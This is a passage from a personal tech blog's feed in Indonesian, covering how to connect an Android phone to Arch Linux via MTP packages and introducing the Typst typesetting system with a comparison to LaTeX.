&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Docker_(software)&quot; target=&quot;_blank&quot;&gt;https://en.wikipedia.org/wiki/Docker_(software)&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.docker.com/resources/what-container/&quot; target=&quot;_blank&quot;&gt;https://www.docker.com/resources/what-container/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-4&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Virtual_machine&quot; target=&quot;_blank&quot;&gt;https://en.wikipedia.org/wiki/Virtual_machine&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-5&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.ibm.com/think/topics/containers&quot; target=&quot;_blank&quot;&gt;https://www.ibm.com/think/topics/containers&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-6&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.docker.com/engine/install/linux-postinstall/&quot; target=&quot;_blank&quot;&gt;https://docs.docker.com/engine/install/linux-postinstall/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-9&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.geeksforgeeks.org/devops/docker-instruction-commands/&quot; target=&quot;_blank&quot;&gt;https://www.geeksforgeeks.org/devops/docker-instruction-commands/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-7&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.coursera.org/collections/docker-cheat-sheet&quot; target=&quot;_blank&quot;&gt;https://www.coursera.org/collections/docker-cheat-sheet&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-8&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.docker.com/compose/&quot; target=&quot;_blank&quot;&gt;https://docs.docker.com/compose/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-10&quot;&gt;↩&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-10-2&quot;&gt;↩&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://dev.to/alexmercedcoder/a-deep-dive-into-docker-compose-27h5&quot; target=&quot;_blank&quot;&gt;https://dev.to/alexmercedcoder/a-deep-dive-into-docker-compose-27h5&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-11&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://strapi.io/blog/what-is-docker-compose-all-you-need-to-know&quot; target=&quot;_blank&quot;&gt;https://strapi.io/blog/what-is-docker-compose-all-you-need-to-know&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-12&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.digitalocean.com/community/tutorials/how-to-install-and-use-docker-compose-on-ubuntu-20-04&quot; target=&quot;_blank&quot;&gt;https://www.digitalocean.com/community/tutorials/how-to-install-and-use-docker-compose-on-ubuntu-20-04&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-13&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Android MTP: The Simplest Way to Connect Your Android Devices to Archlinux via USB</title><link>https://shangdi.github.io/posts/tech/android-mtp/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/android-mtp/</guid><description>Are you wondering about how to connect your Android phone to Archlinux through a USB? Here, I will explain the easiest way (GUI &amp; CLI) to do that.</description><pubDate>Sat, 04 Apr 2026 06:49:59 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Preambul&lt;a href=&quot;#preambul&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Beberapa hari lalu, saya ingin memindahkan file yang ada di &lt;em&gt;smartphone&lt;/em&gt; Android ke Laptop saya yang kebetulan ter-&lt;em&gt;install&lt;/em&gt; &lt;a href=&quot;https://archlinux.org/&quot; target=&quot;_blank&quot;&gt;Archlinux&lt;/a&gt;. Jadi, saya coba pasangkan kabel USB, dan colokkan ke komputer saya. Tapi, satu masalah muncul: “Android saya tidak terdeteksi di Archlinux saya”. Beberapa kali saya coba colok-pasang, tidak muncul. Bahkan, sudah saya coba pastikan tidak hanya via &lt;em&gt;file manager&lt;/em&gt;, tapi juga via terminal dengan perintah &lt;code&gt;lsblk&lt;/code&gt;, tetap nihil.&lt;/p&gt;&lt;p&gt;Akhirnya, saya coba cari tau penyebab berikut dengan solusinya di Google dan ChatGPT. Ternyata, memang Archlinux tidak meng-&lt;em&gt;install&lt;/em&gt; paket-paket yang diperlukan untuk menghubungkan Android secara default ketika instalasi pertama kali. Jadi, saya perlu memasang beberapa paket yang pada akhirnya menyelesaikan permasalahan tersebut.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Method&lt;a href=&quot;#method&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah paket-paket yang perlu di-&lt;em&gt;install&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;libmtp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mtpfs&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;android-file-transfer&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Keterangan:&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;libmtp&lt;/code&gt;&lt;/strong&gt;: adalah &lt;em&gt;library implementation&lt;/em&gt; MTP (Media Transfer Protocol)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;mtpfs&lt;/code&gt;&lt;/strong&gt;: adalah &lt;em&gt;FUSE system&lt;/em&gt; untuk membaca dan menulis dari perangkat MTP&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;android-file-transfer&lt;/code&gt;&lt;/strong&gt;: adalah client untuk Android MTP dengan tampilan (UI) yang sederhana&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Berikutnya, kita bisa mencolokkan kabel USB dari Android ke Archlinux. Pastikan untuk mengganti mode ke &lt;strong&gt;“File Transfer/Android Auto”&lt;/strong&gt;, bukan opsi lainnya.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;File Transfer/Android/Auto&quot; loading=&quot;lazy&quot; width=&quot;568&quot; height=&quot;514&quot; src=&quot;/_astro/ss4.BP4tSzjx_Z2fLTuN.webp&quot; /&gt;&lt;figcaption&gt;File Transfer/Android/Auto&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Untuk menge-cek koneksi Android-nya, apakah sudah tersambung atau belum, gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mtp-detect&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Jika berhasil, maka output-nya akan menampilkan informasi &lt;em&gt;device&lt;/em&gt; yang terhubung, Kira-kia seperti ini:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;mtp-detect output (success)&quot; loading=&quot;lazy&quot; width=&quot;571&quot; height=&quot;617&quot; src=&quot;/_astro/ss2.glv2bgoK_Zslynh.webp&quot; /&gt;&lt;figcaption&gt;mtp-detect output (success)&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Jika USB belum dicolok, maka perintah &lt;code&gt;mtp-detect&lt;/code&gt; hanya akan menampilkan &lt;em&gt;output&lt;/em&gt; kosong, seperti ini:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;mtp-detect output (no usb connected)&quot; loading=&quot;lazy&quot; width=&quot;242&quot; height=&quot;157&quot; src=&quot;/_astro/ss1.goJhXRWz_Z2uz3Gd.webp&quot; /&gt;&lt;figcaption&gt;mtp-detect output (no usb connected)&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;section&gt;&lt;h3&gt;GUI&lt;a href=&quot;#gui&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sekarang, jika sudah dipastikan bahwa USB terhubung dengan baik dan Archlinux sudah bisa mendeteksinya, maka kita bisa lihat buka direktori Android kita dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;android-file-transfer&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Tangkapan layar keberhasilannya:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;android-file-transfer output (success)&quot; loading=&quot;lazy&quot; width=&quot;934&quot; height=&quot;620&quot; src=&quot;/_astro/ss3.DVZM8hq2_Z1v06NN.webp&quot; /&gt;&lt;figcaption&gt;android-file-transfer output (success)&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;CLI&lt;a href=&quot;#cli&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Gunakan perintah berikut untuk tersambung ke Android via USB di CLI (&lt;em&gt;Command Line Interface&lt;/em&gt;):&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;aft-mtp-cli&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;aft-mtp-cli output (success)&quot; loading=&quot;lazy&quot; width=&quot;449&quot; height=&quot;440&quot; src=&quot;/_astro/ss5.DZp5xjlW_m2tO7.webp&quot; /&gt;&lt;figcaption&gt;aft-mtp-cli output (success)&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;&lt;br /&gt;
Pastikan smartphone dalam keadaan hidup layarnya dan tidak terkunci.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Selesai!&lt;br /&gt;
Semudah itu!&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://wiki.archlinux.org/title/Media_Transfer_Protocol&quot; target=&quot;_blank&quot;&gt;https://wiki.archlinux.org/title/Media_Transfer_Protocol&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Typst: An Alternative to LaTex, Yet Easier</title><link>https://shangdi.github.io/posts/tech/typst/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/typst/</guid><description>Typst is a modern, markup-based typesetting system as a faster, more intuitive alternative to LaTex for creating PDFs, research papers, and reports.</description><pubDate>Tue, 31 Mar 2026 07:52:34 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Typst?&lt;a href=&quot;#typst&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Pernah dengar &lt;a href=&quot;https://typst.app/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;typst&lt;/strong&gt;&lt;/a&gt;? Saya akan berbagi sedikit tentang typst di artikel ini, mulai dari apa itu typst hingga ke cara menggunakannya.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;What is it?&lt;a href=&quot;#what-is-it&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Secara sederhana, &lt;a href=&quot;https://typst.app/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;typst&lt;/strong&gt;&lt;/a&gt; adalah “&lt;em&gt;typesetting system&lt;/em&gt;” yang berbasis “&lt;em&gt;markup&lt;/em&gt;”.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; &lt;em&gt;Typesetting&lt;/em&gt;, yang kalau diterjemahkan bebas ke bahasa Indonesia artinya “penataan huruf”, merupakan proses pengaturan huruf, angka, dan karakter dalam suatu naskah atau dokumen.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; &lt;em&gt;Markup&lt;/em&gt; (atau bahasa markup) sendiri merupakan “sistem anotasi” pada dokumen digital yang memungkinkan komputer memahami struktur dokumen tersebut.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;Beberapa contoh bahasa markup antara lain:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;HTML (&lt;em&gt;Hypertext Markup Language&lt;/em&gt;)&lt;/strong&gt;: Digunakan untuk mengatur tampilan teks (judul, ketebalan, tautan, dst) pada web.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;html file&quot; loading=&quot;lazy&quot; width=&quot;950&quot; height=&quot;275&quot; src=&quot;/_astro/ss1.zel9GXGB_1dWzbS.webp&quot; /&gt;&lt;figcaption&gt;html file&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;XML (&lt;em&gt;Extensible Markup Language&lt;/em&gt;)&lt;/strong&gt;: Digunakan untuk menyimpan dan memindahkan data.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;xml file&quot; loading=&quot;lazy&quot; width=&quot;949&quot; height=&quot;284&quot; src=&quot;/_astro/ss2.BezV9z7L_1Vibcl.webp&quot; /&gt;&lt;figcaption&gt;xml file&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;SVG (&lt;em&gt;Scalable Vector Graphics&lt;/em&gt;)&lt;/strong&gt;: Digunakan untuk mendeskripsikan gambar vector (gambar yang dibuat dari persamaan matematis).&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;svg file&quot; loading=&quot;lazy&quot; width=&quot;939&quot; height=&quot;314&quot; src=&quot;/_astro/ss3.CEoFOpj1_Z1viMr0.webp&quot; /&gt;&lt;figcaption&gt;svg file&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Markdown&lt;/strong&gt;: Digunakan untuk memformat teks di plain-text editor menggunakan simbol-simbol tertentu.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;markdown file&quot; loading=&quot;lazy&quot; width=&quot;953&quot; height=&quot;323&quot; src=&quot;/_astro/ss4.7NJi7jJd_Z1q4WPS.webp&quot; /&gt;&lt;figcaption&gt;markdown file&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;LaTex&lt;/strong&gt;: Digunakan untuk menulis &lt;em&gt;paper&lt;/em&gt; ilmiah, artikel penelitian, dan konten matematis (biasanya dalam format PDF).&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;tex file&quot; loading=&quot;lazy&quot; width=&quot;956&quot; height=&quot;305&quot; src=&quot;/_astro/ss5.DD4BtR85_Z1IXqbw.webp&quot; /&gt;&lt;figcaption&gt;tex file&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Nah, typst adalah salah satu dari contoh-contoh program berbahasa markup tersebut, tapi lebih ditujukan untuk dokumen sehingga kalau dibandingkan dengan keempat contoh di atas, typst lebih mirip dengan &lt;a href=&quot;https://www.latex-project.org/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;LaTex&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Boleh dibilang, typst adalah “adik” dari LaTex. Sebab, LaTex sudah lebih dahulu ada sejak kira-kira 42 tahun yang lalu (1984),&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt; sementara typst baru saja muncul sekitar 3 tahunan yang lalu (2023).&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;Markup Language vs Programming Language&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Meskipun sama-sama merupakan bahasa komputer yang digunakan untuk men-strukturisasi, menampilkan, dan memanipulasi konten atau data, &lt;em&gt;markup language&lt;/em&gt; dan &lt;em&gt;programming language&lt;/em&gt; tidaklah sama.&lt;/p&gt;&lt;p&gt;&lt;em&gt;Programming language&lt;/em&gt; memberikan &lt;em&gt;logic&lt;/em&gt; yang dapat dieksekusi oleh komputer. Artinya, membuat program dengan bahasa pemrograman memungkinkan adanya “input”, “kalkulasi”, dan “penyelesaian masalah”. Sementara itu, &lt;em&gt;markup language&lt;/em&gt; hanya membuat struktur elemen dan tampilan suatu dokumen ketika dibuka.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Typst adalah program berbasis &lt;a href=&quot;https://opensource.com/resources/what-open-source&quot; target=&quot;_blank&quot;&gt;&lt;em&gt;&lt;strong&gt;open-source&lt;/strong&gt;&lt;/em&gt;&lt;/a&gt;. Berikut adalah tautan &lt;em&gt;repository&lt;/em&gt; Github-nya, berikut dengan websitenya.&lt;/p&gt;&lt;a href=&quot;https://github.com/typst/typst&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;typst&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;typst&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;&lt;strong&gt;Website:&lt;/strong&gt;  &lt;a href=&quot;https://typst.app/&quot; target=&quot;_blank&quot;&gt;https://typst.app/&lt;/a&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Its Capabilities&lt;a href=&quot;#its-capabilities&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Typst merupakan program yang dapat digunakan untuk:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Menulis Buku.&lt;/li&gt;
&lt;li&gt;Menyusun CV (Curriculum Vitae).&lt;/li&gt;
&lt;li&gt;Menulis Surat.&lt;/li&gt;
&lt;li&gt;Membuat Invoice.&lt;/li&gt;
&lt;li&gt;Menulis Proposal.&lt;/li&gt;
&lt;li&gt;Membuat Website (in preview).&lt;/li&gt;
&lt;li&gt;Menyusun Standardisasi.&lt;/li&gt;
&lt;li&gt;Membuat Laporan.&lt;/li&gt;
&lt;li&gt;Menyusun Tesis.&lt;/li&gt;
&lt;li&gt;Membuat Presenrasi.&lt;/li&gt;
&lt;li&gt;Menulis Paper.&lt;/li&gt;
&lt;li&gt;Catatan Perkuliahan.&lt;/li&gt;
&lt;li&gt;Dokumen Transaksi.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Oleh karena dapat digunakan untuk tujuan yang sangat beragam, typst juga memiliki banyak kemampuan. Berikut adalah kemampuan-kemampuan typst:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Membuat Visualisasi.&lt;/li&gt;
&lt;li&gt;Menulis Rumus Matematika.&lt;/li&gt;
&lt;li&gt;Menggambar Grafik dan Diagram.&lt;/li&gt;
&lt;li&gt;Membuat Table.&lt;/li&gt;
&lt;li&gt;Menulis Kode.&lt;/li&gt;
&lt;li&gt;Membuat Bibliografi.&lt;/li&gt;
&lt;li&gt;Membuat Slides.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Selain itu, kita juga dapat berpindah (re: mengedit) dari dokumen-dokumen seperti Word dan Google Docs, LaTex, dan Markdown ke Typst!&lt;/p&gt;&lt;p&gt;Keren, bukan?&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Typst vs LaTex&lt;a href=&quot;#typst-vs-latex&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah beberapa perbedaan LaTex dan Typst:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-6&quot;&gt;6&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Sengaja dalam bahasa Inggris karena 2 alasan: (1) biar sambil belajar bahasa Inggris, (2) biar lebih ringkas jumlah katanya&lt;/p&gt;&lt;/blockquote&gt;
































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;strong&gt;Feature&lt;/strong&gt;&lt;/th&gt;&lt;th&gt;&lt;strong&gt;Typst&lt;/strong&gt;&lt;/th&gt;&lt;th&gt;&lt;strong&gt;LaTex&lt;/strong&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;First Release&lt;/td&gt;&lt;td&gt;2023&lt;/td&gt;&lt;td&gt;1984&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Compilation Speed&lt;/td&gt;&lt;td&gt;Near Instant (&amp;lt;1s for changes)&lt;/td&gt;&lt;td&gt;Slow (10-90s for large docs)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Syntax Complexity&lt;/td&gt;&lt;td&gt;Much simpler, Rust-inspired&lt;/td&gt;&lt;td&gt;Steep learning curve&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Error Message&lt;/td&gt;&lt;td&gt;Clear and actionable&lt;/td&gt;&lt;td&gt;Often cryptic&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Package Ecosystem&lt;/td&gt;&lt;td&gt;Growing (100+ packages)&lt;/td&gt;&lt;td&gt;Massive (thousands of packages)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Journal Acceptance&lt;/td&gt;&lt;td&gt;Limited (PDF ok, .tex required)&lt;/td&gt;&lt;td&gt;Universal&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Collaboration&lt;/td&gt;&lt;td&gt;Built-in on &lt;a href=&quot;https://typst.app/play/&quot; target=&quot;_blank&quot;&gt;typst.app&lt;/a&gt;&lt;/td&gt;&lt;td&gt;Via &lt;a href=&quot;https://www.overleaf.com/&quot; target=&quot;_blank&quot;&gt;Overleaf&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Math Notation&lt;/td&gt;&lt;td&gt;Good with shortcuts&lt;/td&gt;&lt;td&gt;Comprehensive&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;AI Tool Support&lt;/td&gt;&lt;td&gt;Limited third-party support&lt;/td&gt;&lt;td&gt;Extensive (Underleaf, Writefull, etc)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Citation Styles&lt;/td&gt;&lt;td&gt;CSL (80+ built-in styles)&lt;/td&gt;&lt;td&gt;BibTeX (thousands of styles)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Cost&lt;/td&gt;&lt;td&gt;Free (open source)&lt;/td&gt;&lt;td&gt;Free (open source)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Sebagai contoh, berikut adalah perbandingan &lt;a href=&quot;https://bif.telkomuniversity.ac.id/en/syntax-is/&quot; target=&quot;_blank&quot;&gt;&lt;em&gt;syntax&lt;/em&gt;&lt;/a&gt; di Typst dan LaTeX:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-7&quot;&gt;7&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://typst.app/docs/guides/for-latex-users/&quot; target=&quot;_blank&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure&gt;&lt;a href=&quot;https://typst.app/docs/guides/for-latex-users/&quot; target=&quot;_blank&quot;&gt;&lt;img alt=&quot;LaTeX vs Typst syntax.&quot; loading=&quot;lazy&quot; width=&quot;646&quot; height=&quot;511&quot; src=&quot;/_astro/ss6.COQH1jKj_EcyEa.webp&quot; /&gt;&lt;figcaption&gt;LaTeX vs Typst syntax.&lt;/figcaption&gt;&lt;/a&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Jadi, mana yang lebih baik?&lt;br /&gt;
Jawabannya akan selalu seperti ini:&lt;/p&gt;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Software&lt;/strong&gt;&lt;/em&gt; yang terbaik adalah yang fitur-fiturnya memenuhi keperluan dan kebutuhan kalian.&lt;/p&gt;&lt;p&gt;Artinya, kalian memang harus tahu kebutuhan kalian terlebih dahulu, kemudian disesuaikan dengan fitur-fitur yang ada di masing-masing program tersebut. Setelah itu, barulah kalian bisa menyimpulkan mana yang terbaik.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
